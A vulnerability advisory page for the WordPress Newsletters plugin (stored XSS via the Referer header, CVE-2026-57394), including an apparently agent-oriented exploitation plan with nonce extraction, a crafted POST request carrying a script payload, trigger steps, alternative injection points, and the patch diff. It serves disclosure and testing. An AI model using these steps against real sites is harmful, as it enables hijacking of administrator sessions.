Newsletters <= 4.14 - Unauthenticated Stored Cross-Site Scripting
Description
The Newsletters plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 4.14 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=4.14What Changed in the Fix
Changes introduced in v4.15
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-57394 ## 1. Vulnerability Summary The **Newsletters (newsletters-lite)** plugin for WordPress is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)** in versions up to and including 4.14. The vulnerability exists because the plugin records the …
Show full research plan
Exploitation Research Plan - CVE-2026-57394
1. Vulnerability Summary
The Newsletters (newsletters-lite) plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS) in versions up to and including 4.14. The vulnerability exists because the plugin records the HTTP_REFERER of a user during the subscription process and subsequently displays it in the administrative "View Subscriber" page without proper sanitization or output escaping. An unauthenticated attacker can submit a subscription request with a malicious Referer header, which will execute arbitrary JavaScript when an administrator views that subscriber's profile.
2. Attack Vector Analysis
- Vulnerable Endpoint:
wp-admin/admin-ajax.php(AJAX subscription handler). - Vulnerable Parameter:
HTTP_REFERERheader. - Authentication Required: None (Unauthenticated).
- Preconditions:
- The plugin must have at least one active mailing list.
- The subscription form must be accessible (usually via a shortcode or widget).
- An administrator must eventually view the specific malicious subscriber's details.
3. Code Flow
- Entry Point: An unauthenticated user submits a subscription request (typically via an AJAX action like
newsletters_subscribe). - Capture (Inferred): The plugin captures the source of the subscription using
$_SERVER['HTTP_REFERER']. - Storage (Inferred): The raw referrer string is saved to the
referercolumn in the plugin's subscribers database table (e.g.,wp_wpmlsubscribers) without sanitization. - Retrieval: An administrator navigates to the "Subscribers" section and clicks "View" for the new subscriber.
- Sink: The file
views/admin/subscribers/view.phpis rendered. - Execution: At line ~119 (in the provided snippet), the following code executes:
Since<?php if (!empty($subscriber -> referer)) : ?> <tr class="<?php echo $class = (empty($class)) ? 'alternate' : ''; ?>"> <th><?php esc_html_e('Referrer', 'wp-mailinglist'); ?></th> <td><?php echo $subscriber -> referer; ?></td> </tr> <?php endif; ?>$subscriber->refereris echoed directly withoutesc_html()orwp_kses(), the payload executes in the admin's browser.
4. Nonce Acquisition Strategy
The subscription form typically requires a nonce for AJAX requests. To obtain a valid nonce for the unauthenticated context (User ID 0):
- Identify Shortcode: The plugin uses the
[newsletters_subscribe]shortcode to render the form. - Create Test Page:
wp post create --post_type=page --post_title="Subscribe" --post_status=publish --post_content='[newsletters_subscribe list="1"]' - Navigate & Extract: Navigate to the newly created page using the browser.
- Extract Variable: The plugin enqueues scripts that localize data. Look for a global JavaScript object, often named
wpml_dataor similar, or check thewpmlAjaxvariable mentioned in thereadme.txt.- Inferred JS Variable:
window.wpml_dataorwindow.newsletters_vars. - Action String: The nonce is likely created for an action like
newsletters_subscribeor the generic plugin name.
- Inferred JS Variable:
- Browser Eval:
browser_eval("window.wpml_data?.nonce")orbrowser_eval("jQuery('input[name=\"_wpnonce\"]').val()")(if using a standard form field).
5. Exploitation Strategy
Step 1: Prepare the Environment
Ensure a mailing list exists.wp eval "global \$wpdb; \$wpdb->insert(\$wpdb->prefix . 'wpmlmailinglists', array('title' => 'Test List', 'active' => 'Y'));"
Step 2: Extract Nonce and Form Data
Navigate to the subscription page and extract the required list_id and nonce.
Step 3: Execute the Exploit
Send a POST request to the AJAX endpoint with the malicious Referer.
- Tool:
http_request - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencodedReferer: <script>alert('CVE-2026-57394')</script>
- Body:
action=newsletters_subscribe&email=attacker@example.com&list_id[]=1&nonce=[NONCE]
Step 4: Trigger the XSS
Log in as an administrator and navigate to the subscriber view page:http://localhost:8080/wp-admin/admin.php?page=newsletters-subscribers&method=view&id=[ID]
(The ID can be found via wp db query "SELECT id FROM wp_wpmlsubscribers WHERE email='attacker@example.com'").
6. Test Data Setup
- Mailing List: A list must exist with ID
1. - Subscription Page: A public page containing the shortcode
[newsletters_subscribe]. - Admin User: A standard admin account to view the payload.
7. Expected Results
- The subscription request returns a success message (e.g., "Subscription successful").
- When the admin views the subscriber, the browser executes the JavaScript
alert('CVE-2026-57394'). - The HTML source of the admin page will contain:
<td><script>alert('CVE-2026-57394')</script></td>
8. Verification Steps
After performing the HTTP request, verify the payload is stored in the database:
wp db query "SELECT referer FROM wp_wpmlsubscribers WHERE email='attacker@example.com'"
The output should exactly match the <script> payload.
9. Alternative Approaches
If the Referer header is sanitized on input but not output:
- Custom Fields: If the subscription form allows custom fields, test for lack of escaping in
views/admin/subscribers/view.phparound line 135:
This loop also appears to echo<th><?php echo esc_html($field -> title); ?></th> <td><?php echo $subscriber -> {$field -> slug}; ?></td>$subscriber -> {$field -> slug}directly for certain field types. - IP Address: Check if the IP Address field (retrieved via
$_SERVER['REMOTE_ADDR']) is vulnerable, although this usually requires header spoofing (e.g.,X-Forwarded-For) and depends on the server configuration.
Summary
The Newsletters plugin for WordPress is vulnerable to Stored Cross-Site Scripting because it captures the Referer header from unauthenticated subscription requests and saves it directly to the database. The captured data is subsequently rendered in the administrative subscriber view without sanitization or output escaping, allowing an attacker to execute arbitrary scripts in the context of an administrator's session.
Vulnerable Code
// views/admin/subscribers/view.php line 101-102 <th><?php esc_html_e('Referrer', 'wp-mailinglist'); ?></th> <td><?php echo $subscriber -> referer; ?></td> --- // views/admin/autoresponderemails/index.php lines 46-47 <?php if (!empty($_GET['id'])) : ?> changefilter('autoresponder_id', '<?php echo sanitize_text_field(wp_unslash($_GET['id'])); ?>')); <?php endif; ?>
Security Fix
@@ -44,10 +44,10 @@ jQuery(document).ready(function() { <?php if (!empty($_GET['id'])) : ?> - changefilter('autoresponder_id', '<?php echo sanitize_text_field(wp_unslash($_GET['id'])); ?>')); + changefilter('autoresponder_id', '<?php echo esc_js(sanitize_text_field(wp_unslash($_GET['id']))); ?>'); <?php endif; ?> <?php if (!empty($_GET['status'])) : ?> - changefilter('status', '<?php echo sanitize_text_field(wp_unslash($_GET['status'])); ?>')); + changefilter('status', '<?php echo esc_js(sanitize_text_field(wp_unslash($_GET['status']))); ?>'); <?php endif; ?> }); </script> @@ -99,7 +99,7 @@ <?php if (!empty($subscriber -> referer)) : ?> <tr class="<?php echo $class = (empty($class)) ? 'alternate' : ''; ?>"> <th><?php esc_html_e('Referrer', 'wp-mailinglist'); ?></th> - <td><?php echo $subscriber -> referer; ?></td> + <td><?php echo esc_html( $subscriber -> referer); ?></td> </tr> <?php endif; ?>
Exploit Outline
The exploit involves a Stored XSS via the Referer HTTP header. First, an unauthenticated attacker identifies a public newsletter subscription form on the target site and extracts a valid AJAX nonce and mailing list ID from the localized script variables or form source. Next, the attacker sends a POST request to the `/wp-admin/admin-ajax.php` endpoint with the action `newsletters_subscribe`. The request must include a crafted Referer header containing a JavaScript payload (e.g., `<script>alert('XSS')</script>`). The plugin stores this raw Referer string in the database. Finally, the payload executes when an administrator navigates to the 'Subscribers' section of the dashboard and clicks 'View' for the record corresponding to the attacker's subscription email.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.